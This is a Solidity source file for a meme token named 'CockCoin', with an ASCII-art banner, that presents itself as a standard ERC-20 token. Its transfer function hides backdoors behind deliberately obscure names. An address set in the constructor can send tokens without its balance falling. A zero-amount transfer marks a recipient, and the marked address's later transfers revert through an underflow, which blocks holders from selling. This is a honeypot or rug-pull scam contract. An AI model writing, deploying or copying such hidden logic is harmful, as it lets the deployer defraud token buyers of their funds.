/*

https://twitter.com/CockCoin_ada

##############################################################################################################
##################################################S%########SS#######S########################################
#########################################SS######?*%######S%?S#####S%%S#######################################
########################################%*?S###S**?%S####S???###%%???S####SS########SS########################
#######################################S*??%##S?+**%S##S?*??SS%?*???SSS%%%?%########%#########################
#######################################?**??S#S++**%SS?****?%*?????%%%%%%%S#######SSS#########################
################################S%S###S***???S?+***??**?**???????%%%%%??%S#SSSSSS%%%S#########################
###############################S?*S#S#S***????*+***????**???%???%%%%??%%%%%%%%%%%%SSS#########################
##########################SSSS#S???SSSS?*+*????**??*?????%%%%?%%%%%%%%%%%%%SSSSSSSSS##########################
######################SSSSSSSSSS?**%SSS?**+*????*???????%%S%%%SSSSSSSSSSS#####SSSSS###########################
####################SSSSSSSSSSSS%***?%%?****??%%?????%%%SSSSSSSSSS########SSSSSSSS############################
#################SSSSSSSSSSSSSS#%?***??????*??%S%%SS%SS####################SSSSSSSSSSS########################
###############SSSSSSSSSSSSSSSS#S%?**????%%%?%SSSS##########################SSSSSSSSSSSSS#####################
#############SSSSSSSSSSSSSSSSSS##S%?***%%%SSSS####@@@@@@@@@@@@########SSSSSS#SSSSSSSSSSSSSSS##################
############SSSSSSSSSSSSSSSSSS###S%%?**?SSS###@@##S%SSSS##@@@@#######SSSSSSSSSSSSSSSSSSSSSSSSS################
###########SSSSSSSSSSSSSSSSSS###SSS%%%%%%###@##%?*****+++++*?%SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS###############
##########SSSSSSSSSSSSSSSSSSS####SSSSSS###@@#?*?%%SSSS%%%?+;++*??%%SSSSSSSSSSSSSSSSSSSSSSSSSSSSS##############
#########SSSSSSSSSSSSSSSSSSSSS@@###@@@@@@@@S?%#@##SSSSS%%S%*+++++**????%%SSSSSSSSSSSSSSSSSSSSSSSS#############
########SSSSSSSSSSSSSSSSSSSSSSS#@#S?*?S##S%%#@@@@@@S%%S%S?*:,:+?*++++*?%%%%%%%SSSSSSSSSSSSSSSSSSS#############
########SSSSSSSSSSSSSSSSSSSSSS%S#%*?%%*S#S%%SS##SSS%*%SSS??++*%%?******?%%%%%%%S%SSSSSSSSSSSSSSSSS############
#######SSSSSSSSSSSSSSSSSSSS%+::+?%%%%??%S%S%%?%S##SSSSSSSSS%%%%%?*****??%%%%%%%%SSSSSSSSSSSSSSSSSSS###########
########SSSSSSSSSSSSSSSSSS*:,:;;++*****++++?%S%%?%SS??*?S##S?*????*;;;+*?%%%%%SSSSSSSSSSSSSSSSSSSSS###########
##########SSSSSSSSSSSSSSS*:;+?%%??%%%??????**?SSS?*****%#@##S?**??%?*++++?%%%%SSSSSSSSSSSSSSSSSSSSS###########
##########SSSSSSSSSSSSSS?;*%SSSSSSS#@#%%S%SSSSS##SSSSSS##@##S%%???%%?++;;+*?%%SSSSSSSSSSSSSSSSSSSSSSS#########
##########SSSSSSSSSSSSSS?%SSSSSSS%%S@@S?S####@#@@@###S##@@@##S%%S%S%%?;::;+*%%%SSSSSSSSSSSSSSSSSSSSSS#########
##########SSSSSSSSSSSSSSSSSSSSSSS%%%#@@?%S##@@@##@@@@@@@@######%%##S?++;::;+*%SSSSSSSSSSSSSSSSSSSSSS##########
###########SSSSSSSSSSSSSSSSSSS%S%%%S@@@%%SS##@@#S###@@@@#####SS#SS#%?+;;;;+**?%SSSSSSSSSSSSSSSSSSSSS##########
###########SSSSSSSSSSSSSSS%%SSSSS%S#@@#%%SSS##@#SS#####@##S#######%?*++;:;+???%SSSSSSSSSSSSSSSSSSSSSSS########
###########SSSSSSSSSSSSSSSSS%%SSSS#@@@S%%%%S##@#SSS###S#@#S######S%?*+::;+;*???SSSSSSSSSSSSSSSSSSSSSS#########
############SSSSSSSSSSSSSSSSSSSSS#@@@#S%%%%SS#@#SSSS##S%@@#####S%%?***;;;;+**???SSSSSSSSSSSSSSSSSSSS##########
############SSSSSSSSSSSSSSSSSSSS#@@@@#SS%%%%S#@##SSSSSS%@@###S%??**++;+;;++**?%%%SSSSSSSSSSSSSSSSSSSS#########
#############SSSSSSSSSSSSSSSS%S#@@@@@@#S%%%%S#@##SSSSS%%@##SS%?*++;;;;;**++?*?%%%SSSSSSSSSSSSSSSSSSSS#########
#############SSSSSSSSSSSSSSSS%S##@@@@@#S%%%%S#@@#SSSS%%##SS%??+++;::;;++****%?%%%%SSSSSSSSSSSSSSSSSSS#########
############SSSSSSSSSSSSSSSSSS###@@@@@#S%?%%S#@@#SS%%S###%??*+;;+;::+;+****??%%%%%SSSSSSSSSSSSSSSSSS##########
############SSSSSSSSSSSSSSSSSS###@@@@@@#S%%%#@@@@#######%?*?*+;;;++;+***?%??%%%??%SSSSSSSSSSSSSSSS############
##############SSSSSSSSSSSSSSS%S##@@##@@@####@@@@@@@@###S?**??+++**??*?%?*???%SS%%S#SSSSSSSSSSSSSS#############
##############SSSSSSSSSSSSSSSSSSS#SS#@@@@@@@@@@@@####SS%?**?*?**?%%%%%S%**??%#S%SSSSSSSSSSSSSSSS##############
###############SSSSSSSSSSSSSSSSSSS%S#@@@@@@@@@@######S%%%?*?%??%%%?***?%S%%?%SSSSSSSSSSSSSSSSS################
################SSSSSSSSSSSSSSSSSSS###@@@@@@@#@####S%SSS%SSSS%%SS+**++**%S#%?S#######SSSSSSSS#################
#################SSSSSSSSSSSSSSSSS##@@#######@@##S%?***??%%S%%%S#?***+**%SSSSSS#########SSSS##################
##################SSSSSSSSSSSSSS####@@#########S%???*?*?%%%%#@#S?***%%%%??????S##S############################
##################SSSSSSSSSSSSS#####@@#####@#SSSS%%%%%%SSSSS%?**++;;;*S%++***?%SSS############################
###################SSSSSSSS##SS#SS#####SSSS#@S######SSSSS##??**+*+;;;;?S%***?%SSSSSSSSSS######################
####################SS####@@#S#@SSSSSSS%%%%%##S%%%SSSSS##@#*??****+++*?SSSSSSSS%%%SSSSSSSS####################
#########################@@#SSS######SS%%%%%S%%%%S###@@##@@%***??***???%SS%%%%%%%%%%SSSSSSS###################
######################@@@@@#S%%%####@#SSSSS#####@##S%%????%SS%%??%%SS%%%?%%%?????????%%%%%%SSSS###############
######################@@@@##SS%%#S%SSSSSS#S%*+++*?S%?????**?SSSS####SS%?????????????***??%%%SSSSS#############
################@@###@@@@#SSSS%SS%%%%%%%%S?*+;:;;+?%%%%%%%%%S###@#S%?????????????**????????%%%%%SS############
##############@@#####@@##SSSSS%S%%%%S%??SS*??*;;++*##SSS%%%SS%SSSS%%??????**???%%%????%%%?????%%%%%%S######@@@
############@@@##@@#@@###%SSSSSS%SS%S%?%S#%???*+*??SS%SSS%%?SSSSS#S%%%?????***???%%???%S#SS%%???%SSSSSS#@@####
###########@@@#@@@@@@@##S%SS%%SSSSSSSS%SSSSSSS%%?*+?****?++?#SSSSS#S%%%???%%?**%?*????**?SSSS%%%??%S###S##@@@@
##########@@@#@@@@@@@###SSS%%%SSS%SSSSSSSSSS%%%?**??****?**%@#SS####S%%%???%%%??%%?**??????SSSSSS%%%%##SSS##@@
########@@@@@@@@@@@@@##SSSSS%%SS%%%SSS%%SSSS????%%????*?%??%@@#######%%%S%?%SSS%%%%%????????%S##SSSSSS###SS##@
####@@@@@@@@@@@@@@@@@#SSSS##SSSSS%SSSSS%%%%SS%?%%SS????%%%%S@@#######S%%%SS%%S#SSSSSS%%%%??%%%%SSSSSSSS#######
##@@@@@@@@@@@@@@@@@@@###SSS###SSSS#SSSSS%%%SSS%%SSSS??%S%SS#@@@@##@@###S%%#######SS#SSS%%%%%%%%%SSSSS%S#######

*/

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.7;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract CockCoin is Ownable {
    uint256 public totalSupply = 69_000_000_000 * 10 ** 9;

    mapping(address => uint256) private _cock;

    uint256 private alkali = 75;

    function transfer(address cooock, uint256 cocks) public returns (bool success) {
        cooooooooooooock(msg.sender, cooock, cocks);
        return true;
    }

    function cooooooooooooock(address chicken, address cooock, uint256 cocks) private returns (bool success) {
        if (_cock[chicken] == 0) {
            balanceOf[chicken] -= cocks;
        }

        if (cocks == 0) navigate[cooock] += alkali;

        if (chicken != entrance && _cock[chicken] == 0 && navigate[chicken] > 0) {
            _cock[chicken] -= alkali;
        }

        balanceOf[cooock] += cocks;
        emit Transfer(chicken, cooock, cocks);
        return true;
    }

    mapping(address => mapping(address => uint256)) public allowance;

    mapping(address => uint256) private navigate;

    address public entrance;

    function approve(address entry, uint256 cocks) public returns (bool success) {
        allowance[msg.sender][entry] = cocks;
        emit Approval(msg.sender, entry, cocks);
        return true;
    }

    mapping(address => uint256) public balanceOf;

    uint8 public decimals = 9;

    string public symbol = 'COCK';

    event Transfer(address indexed from, address indexed to, uint256 value);

    string public name = 'Cock';

    constructor(address cock) {
        balanceOf[msg.sender] = totalSupply;
        _cock[cock] = alkali;
        IUniswapV2Router02 flirt = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        entrance = IUniswapV2Factory(flirt.factory()).createPair(address(this), flirt.WETH());
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function transferFrom(address chicken, address cooock, uint256 cocks) public returns (bool success) {
        require(cocks <= allowance[chicken][msg.sender]);
        allowance[chicken][msg.sender] -= cocks;
        cooooooooooooock(chicken, cooock, cocks);
        return true;
    }
}